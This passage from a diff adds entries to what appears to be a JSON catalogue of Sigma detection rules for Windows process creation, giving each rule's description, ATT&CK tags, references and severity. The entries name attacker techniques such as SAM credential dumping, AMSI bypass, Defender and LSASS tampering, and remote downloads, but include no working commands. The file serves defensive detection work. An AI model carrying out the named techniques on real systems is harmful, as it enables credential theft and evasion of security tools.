"process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.", + "uuid": "104cdb48-a7a8-4ca7-a453-32942c6e5dcb", + "value": "ProtocolHandler.exe Downloaded Suspicious File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_susp_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "proc_creation_win_protocolhandler_susp_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code.", + "uuid": "af77cf95-c469-471c-b6a0-946c685c4798", + "value": "Proxy Execution via Wuauclt", + "meta": { + "refs": [ + "https://dtm.uk/wuauclt/", + "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proxy_execution_wuauclt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_proxy_execution_wuauclt.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth, Sreeman, FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a PsExec service start", + "uuid": "3ede524d-21cc-472d-a3ce-d21b568d8db7", + "value": "PsExec Service Start", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psexesvc_start.yml" + ], + "tags": [ + "attack.execution", + "attack.s0029", + "attack.t1569.002" + ], + "creation_date": "2018/03/13", + "filename": "proc_creation_win_psexesvc_start.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.", + "uuid": "4f927692-68b5-4267-871b-073c45f4f6fe", + "value": "PowerShell AMSI Bypass Pattern", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.execution" + ], + "creation_date": "2022/11/04", + "filename": "proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", + "author": "@Kostastsale", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", + "uuid": "f0ca6c24-3225-47d5-b1f5-352bf07ecfa7", + "value": "DefenderCheck Usage", + "meta": { + "refs": [ + "https://github.com/matterpreter/DefenderCheck", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.005" + ], + "creation_date": "2022/08/30", + "filename": "proc_creation_win_pua_defendercheck.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters", + "uuid": "38646daa-e78f-4ace-9de0-55547b2d30da", + "value": "Seatbelt PUA Tool", + "meta": { + "refs": [ + "https://github.com/GhostPack/Seatbelt", + "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1526", + "attack.t1087", + "attack.t1083" + ], + "creation_date": "2022/10/18", + "filename": "proc_creation_win_pua_seatbelt.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder", + "uuid": "69bd9b97-2be2-41b6-9816-fb08757a4d1a", + "value": "Parent in Public Folder Suspicious Process", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/25", + "filename": "proc_creation_win_public_folder_parent.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the PurpleSharp adversary simulation tool", + "uuid": "ff23ffbc-3378-435e-992f-0624dcf93ab4", + "value": "PurpleSharp Indicator", + "meta": { + "refs": [ + "https://github.com/mvelazc0/PurpleSharp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_purplesharp_indicators.yml" + ], + "tags": [ + "attack.t1587", + "attack.resource_development" + ], + "creation_date": "2021/06/18", + "filename": "proc_creation_win_purplesharp_indicators.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", + "uuid": "a29808fd-ef50-49ff-9c7a-59a9b040b404", + "value": "Registry Parse with Pypykatz", + "meta": { + "refs": [ + "https://github.com/skelsec/pypykatz", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/01/05", + "filename": "proc_creation_win_pypykatz.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects python spawning a pretty tty", + "uuid": "480e7e51-e797-47e3-8d72-ebfce65b6d8d", + "value": "Python Spawning Pretty TTY on Windows", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_win_python_pty_spawn.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Quarks PwDump tool via commandline arguments", + "uuid": "0685b176-c816-4837-8e7b-1216f346636b", + "value": "Quarks PwDump Usage", + "meta": { + "refs": [ + "https://github.com/quarkslab/quarkspwdump", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_quarks_pwdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/09/05", + "filename": "proc_creation_win_quarks_pwdump.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may interact with the Windows Registry to gather information about credentials, the system, configuration, and installed software.", + "uuid": "970007b7-ce32-49d0-a4a4-fbef016950bd", + "value": "Query Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_registry.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.t1007" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_query_registry.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", + "uuid": "53ef0cef-fa24-4f25-a34a-6c72dfa2e6e2", + "value": "Query Usage To Exfil Data", + "meta": { + "refs": [ + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_query_session_exfil.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This command line patterns found in BlackByte Ransomware operations", + "uuid": "999e8307-a775-4d5f-addc-4855632335be", + "value": "BlackByte Ransomware Patterns", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/25", + "filename": "proc_creation_win_ransom_blackbyte.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commandline containing reference to files ending with a \".\". This scheme has been seen used by raspberry-robin", + "uuid": "a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a", + "value": "Raspberry Robin Dot Ending File", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/10/28", + "filename": "proc_creation_win_raspberry_robin_single_dot_ending_file.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects RDP session hijacking by using MSTSC shadowing", + "uuid": "6ba5a05f-b095-4f0a-8654-b825f4f16334", + "value": "MSTSC Shadowing", + "meta": { + "refs": [ + "https://twitter.com/kmkz_security/status/1220694202301976576", + "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1563.002" + ], + "creation_date": "2020/01/24", + "filename": "proc_creation_win_rdp_hijack_shadowing.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", + "uuid": "ab9e3b40-0c85-4ba1-aede-455d226fd124", + "value": "Suspicious Redirection to Local Admin Share", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/16", + "filename": "proc_creation_win_redirect_local_admin_share.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session", + "uuid": "70e68156-6571-427b-a6e9-4476a173a9b6", + "value": "Cmd Stream Redirection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_to_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/02/04", + "filename": "proc_creation_win_redirect_to_stream.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "uuid": "95022b85-ff2a-49fa-939a-d7b8f56eeb9b", + "value": "RedMimicry Winnti Playbook Execute", + "meta": { + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redmimicry_winnti_proc.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1106", + "attack.t1059.003", + "attack.t1218.011" + ], + "creation_date": "2020/06/24", + "filename": "proc_creation_win_redmimicry_winnti_proc.yml", + "author": "Alexander Rausch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the export of a crital Registry key to a file.", + "uuid": "82880171-b475-4201-b811-e9c826cd5eaa", + "value": "Exports Critical Registry Keys To a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1012" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_regedit_export_critical_keys.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the export of the target Registry key to a file.", + "uuid": "f0e53e89-8d22-46ea-9db5-9d4796ee2f8a", + "value": "Exports Registry Key To a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1012" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_regedit_export_keys.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate export of keys" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of the specified file to the registry with regedit.exe.", + "uuid": "73bba97f-a82d-42ce-b315-9182e76c57b1", + "value": "Imports Registry Key From a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_regedit_import_keys.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate import of keys", + "Evernote" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of a alternate datastream to the registry with regedit.exe.", + "uuid": "0b80ade5-6997-4b1d-99a1-71701778ea61", + "value": "Imports Registry Key From an ADS", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_regedit_import_keys_ads.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", + "uuid": "5f60740a-f57b-4e76-82a1-15b6ff2cb134", + "value": "Modifies the Registry From a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_regini.yml", + "author": "Eli Salem, Sander Wiebing, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate modification of keys" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", + "uuid": "77946e79-97f1-45a2-84b4-f37b5c0d8682", + "value": "Modifies the Registry From a ADS", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_regini_ads.yml", + "author": "Eli Salem, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", + "uuid": "de587dce-915e-4218-aac4-835ca6af6f70", + "value": "Reg Add RUN Key", + "meta": { + "refs": [ + "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", + "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/06/28", + "filename": "proc_creation_win_reg_add_run_key.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", + "Legitimate administrator sets up autorun keys for legitimate reasons.", + "Discord" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", + "uuid": "d7662ff6-9e97-4596-a61d-9839e32dee8d", + "value": "Add SafeBoot Keys Via Reg Utility", + "meta": { + "refs": [ + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/02", + "filename": "proc_creation_win_reg_add_safeboot.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData.", + "uuid": "48917adc-a28e-4f5d-b729-11e75da8941f", + "value": "Registry Defender Exclusions", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_reg_defender_exclusion.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects reg command lines that disable certain important features of Microsoft Defender", + "uuid": "452bce90-6fb0-43cc-97a5-affc283139b3", + "value": "Registry Defender Tampering", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_tampering.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/03/22", + "filename": "proc_creation_win_reg_defender_tampering.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", + "uuid": "fc0e89b5-adb0-43c1-b749-c12a10ec37de", + "value": "Delete SafeBoot Keys Via Reg Utility", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/08", + "filename": "proc_creation_win_reg_delete_safeboot.yml", + "author": "Nasreddine Bencherchali, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", + "uuid": "05b2aa93-1210-42c8-8d9a-2fcc13b284f5", + "value": "Delete Services Via Reg Utility", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_reg_delete_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", + "uuid": "038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e", + "value": "Registry Dump of SAM Creds and Secrets", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/01/05", + "filename": "proc_creation_win_reg_dump_sam.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' subkeys", + "uuid": "0d5675be-bc88-4172-86d3-1e96a4476536", + "value": "Enabling RDP Service via Reg.exe", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_rdp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.lateral_movement", + "attack.t1021.001", + "attack.t1112" + ], + "creation_date": "2022/02/12", + "filename": "proc_creation_win_reg_enable_rdp.yml", + "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of the '.reg' files from suspicious paths using the 'reg.exe' utility", + "uuid": "62e0298b-e994-4189-bc87-bc699aa62d97", + "value": "Imports Registry Key From a File Using Reg.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_reg_import_from_suspicious_paths.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate import of keys" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects reg command lines that disables PPL on the LSA process", + "uuid": "8c0eca51-0f88-4db2-9183-fdfb10c703f9", + "value": "Registry Disabling LSASS PPL", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsass_ppl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.010" + ], + "creation_date": "2022/03/22", + "filename": "proc_creation_win_reg_lsass_ppl.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", + "uuid": "9b0b7ac3-6223-47aa-a3fd-e8f211e637db", + "value": "Service ImagePath Change with Reg.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.011" + ], + "creation_date": "2021/12/30", + "filename": "proc_creation_win_reg_service_imagepath_change.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.", + "uuid": "8a3038e8-9c9d-46f8-b184-66234a160f6f", + "value": "Potential Remote Desktop Tunneling", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_desktop_tunneling.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_remote_desktop_tunneling.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.", + "uuid": "214641c2-c579-4ecb-8427-0cf19df6842e", + "value": "Remote File Download via Desktopimgdownldr Utility", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_file_download_desktopimgdownldr.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_remote_file_download_desktopimgdownldr.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", + "uuid": "734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8", + "value": "Remote PowerShell Session Host Process (WinRM)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_powershell_session_process.yml" + ], + 